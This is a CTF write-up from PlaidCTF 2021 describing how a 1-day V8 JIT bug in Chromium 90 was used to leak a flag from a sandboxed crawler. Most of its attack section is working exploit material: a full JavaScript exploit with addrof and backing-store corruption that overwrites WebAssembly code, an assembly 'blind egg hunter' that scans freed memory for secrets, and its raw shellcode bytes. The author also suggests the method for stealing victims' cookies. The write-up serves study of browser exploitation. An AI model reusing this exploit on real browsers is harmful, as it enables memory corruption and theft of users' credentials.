Information Leak via Compromised Sandboxed Browser

This article covers the exploit part. Check this one written by s1r1us for the web and chromium-security part.

I solved some pwnable tasks from PlaidCTF 2021. There was a challenge named "Carmen Sandiego Season 2", which was a series of two XSS challenges. Of course I hadn't checked the web task but I noticed a message in the channel.


The crawler to check XSS uses the Chromium browser of version 90.0.4403.0. (Thanks @S1r1us_ for the version info!) If you're following @r4j0x00 on Twitter, you'd immediately notice this version of Chromium has a 1-day vulnerability.

The crawler must specify --no-sandbox option, which disables the sandbox feature of the renderer process, to turn the vulnerability into RCE. Unfortunately, however, the crawler is using the sandbox feature. (Thanks @po6ix for checking the options!)


Abusing the 1-day exploit to execute commands seems impossible.

Renderer Process and Redirection

Soon after I thought it was impossible to compromise the crawler, @po6ix found something interesting. The (sample) flag is on the memory.


Chromium uses a same renderer process for the same tab and the same host. This sounds natural but is a very important restriction for this attack.

The same renderer process is used for the same website

His idea is, first make the crawler access to the flag, and then make it redirect to the exploit on the same host as the flag. We have XSS now. XSS takes place in the target host, and the credential to steal (flag this time) exists in the same host.*1

All modern web browsers use the garbage collection to manage objects. The objects swept by GC still stay on the memory. Some of the freed objects may be overwritten by the newly allocated objects, but the others may not.

In fact, the string objects (HTML and so on) are allocated on the heap and copied into some places. Some of them are overwritten after the redirect, but the other freed string objects are not. The credential to steal may stay on the memory even after the redirection.*2

The credential might be left on the memory

Our goal is to somehow extract the credential from the memory and leak it.

Blind Egg Hunter

Finding a specific value from the memory reminded me of the egg hunter shellcode. However, we have no information of the address of the credential. The target object is already freed by GC and there's no pointer pointing to the object.

Chromium (and most browser) has a huge amount of memory but we don't know exactly which address it's mapped at. How can we tell where the mapped pages are?

There're several ways to accomplish this. My first idea is use xbeing and xend instructions. Using these instructions, we can tell if an access violation occured. However, this method depends on the model of the CPU and my laptop doesn't support them. *3

The second idea is use syscall for the oracle. Even in the strict sandbox of Chromium, the renderer can still call some system calls such as SYS_write and so on. They are very useful for telling if a given address is mapped (accessible) or not.

The following code is the "blind" egg hunter to find a string that starts with PCTF from the memory.

global _start
section .text

  push r12
  push r10
  push r9
  push r8
  push rbp
  xor ebx, ebx
  mov r12, 0x100000000
  mov r9, 0x7fff00000000
  mov rbp, 0x20000000000

  and rbp, r9
  mov r10, 0xf
  mov rdi, rbp
  call is_mapped
  test eax, eax
  jnz find_flag
  add rbp, 0x1000
  dec r10
  jnz nauty_lp
  add rbp, r12
  cmp rbp, r9
  jge fail
  jmp find_base
  mov eax, 1337
  pop rbp
  pop r8
  pop r9
  pop r10
  pop r12

  inc ebx
  mov r8, rbp
  test r8, 0xfff
  jnz skip_check
  mov rdi, r8
  call is_mapped
  test eax, eax
  jz skip
  cmp dword [r8], 'PCTF'
  jz found_flag
  add r8, 4
  cmp r8d, 0x0fff0000
  jge next_base
  jmp next_flag
  add r8, 0x1000
  cmp r8d, 0x0fff0000
  jge next_base
  jmp next_flag

  call flag
  mov al, [r8]
  mov [r12], al
  test al, al
  jz bye
  inc r8
  inc r12
  jmp lp
  mov eax, 777
  pop rbp
  pop r8
  pop r9
  pop r10
  pop r12

;; check if the address of rdi is mapped
  mov edx, 4
  mov rsi, rdi
  mov edi, 1
  mov eax, 1
  cmp eax, 4
  jz mapped
  xor eax, eax
  mov eax, 1

  call flagger
  pop r12

This works as a WebAssembly function in my exploit. The wasm function will return 777 if it finds the flag, otherwise 1337. The flag is saved at the tail of the shellcode. (Since we already have AAW primitive to inject the shellcode, we also have AAR primitive with which we can read the flag.)


I modified a published exploit for the 1-day exploitation part so that it works on the crawler. (Thenks @avboy1337 for the exploit.)

 * Utils
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
function gc() {
    for (var i = 0; i < 0x10000; ++i)
        var a = new ArrayBuffer();

 * Exploit
function pwn()
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            this.slot = 0xb33f;

    function jitme(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        let local_arr = Array(2);
        local_arr[0] = 5.1;
        let buff = new LeakArrayBuffer(0x1000);
        arr[0] = 0x1122;
        return [arr, local_arr, buff];

    /* Cause bug */
    console.log("[+] START");
    for (var i = 0; i < 0x10000; ++i)
    [corrput_arr, rwarr, corrupt_buff] = jitme(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;

    /* Primitives */
    function set_backing_store(l, h) {
        console.log(h.hex(), l.hex());
        rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f();
        rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f();
    function addrof(o) {
        corrupt_buff.slot = o;
        return (rwarr[9].f2i() - 1n) & 0xffffffffn;

    /* Address leak */
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = addrof(corrupt_buff);
    console.log("[+] leak = " + corrupt_buffer_ptr_low.hex());
    let addr_wasm = addrof(wasmInstance);
    console.log("[+] instance = " + addr_wasm.hex());

    /* Fake obj */
    let idx0Addr = corrupt_buffer_ptr_low - 0x10n;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n;
    let delta = baseAddr + 0x1cn - idx0Addr;
    if ((delta % 8n) == 0n) {
        let baseIdx = delta / 8n;
        this.base = rwarr[baseIdx].f2i() & 0xffffffffn;
    } else {
        let baseIdx = ((delta - (delta % 8n)) / 8n);
        this.base = rwarr[baseIdx].f2i() >> 32n;
    console.log("[+] base = " + this.base.hex());

    set_backing_store(this.base, addr_wasm);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    set_backing_store(code_entry.f2i() >> 32n,
                      code_entry.f2i() & 0xffffffffn);

    let shellcode = [0x41,0x54,0x41,0x52,0x41,0x51,0x41,0x50,0x55,0x31,0xdb,0x49,0xbc,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x49,0xb9,0x0,0x0,0x0,0x0,0xff,0x7f,0x0,0x0,0x48,0xbd,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x4c,0x21,0xcd,0x41,0xba,0xf,0x0,0x0,0x0,0x48,0x89,0xef,0xe8,0x94,0x0,0x0,0x0,0x85,0xc0,0x75,0x25,0x48,0x81,0xc5,0x0,0x10,0x0,0x0,0x49,0xff,0xca,0x75,0xe8,0x4c,0x1,0xe5,0x4c,0x39,0xcd,0x7d,0x2,0xeb,0xd5,0xb8,0x39,0x5,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xff,0xc3,0x49,0x89,0xe8,0x49,0xf7,0xc0,0xff,0xf,0x0,0x0,0x75,0xc,0x4c,0x89,0xc7,0xe8,0x55,0x0,0x0,0x0,0x85,0xc0,0x74,0x18,0x41,0x81,0x38,0x50,0x43,0x54,0x46,0x74,0x21,0x49,0x83,0xc0,0x4,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xb7,0xeb,0xd3,0x49,0x81,0xc0,0x0,0x10,0x0,0x0,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xa5,0xeb,0xc1,0xe8,0x44,0x0,0x0,0x0,0x41,0x8a,0x0,0x41,0x88,0x4,0x24,0x84,0xc0,0x74,0x8,0x49,0xff,0xc0,0x49,0xff,0xc4,0xeb,0xed,0xb8,0x9,0x3,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xba,0x4,0x0,0x0,0x0,0x48,0x89,0xfe,0xbf,0x1,0x0,0x0,0x0,0xb8,0x1,0x0,0x0,0x0,0xf,0x5,0x83,0xf8,0x4,0x74,0x3,0x31,0xc0,0xc3,0xb8,0x1,0x0,0x0,0x0,0xc3,0xe8,0x0,0x0,0x0,0x0,0x41,0x5c,0xc3];
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);

    console.log("[+] result = " + main());
    let flag = "";
    let ofs = 0;
    while (true) {
        let c = corrupt_view.getUint8(shellcode.length-3+ofs);
        if (c == 0) break;
        flag += String.fromCharCode(c);
        ofs += 1;
    console.log("[+] flag = " + flag);
    console.log("[+] DONE");


Finally, @po6ix and @arang modified this exploit so that it leaks the flag to their servers.


This is the screenshot of the exploit.


I think this method is useful in many cases where the attacker wants to leak information of the victim, and the attacker can insert iframe but cannot directly insert javascript code. This solution, of course, is not intended but it was a lot of fun!

*1:Credentials such as the cookies can be stolen without the redirection by using the egg hunter I explain later.

*2:Check this tweet for how to leak victim's flag from the attacker's domain. I cannot explain the detail as it's out of my scope.

*3:po6ix found xbegin is available on the remote server though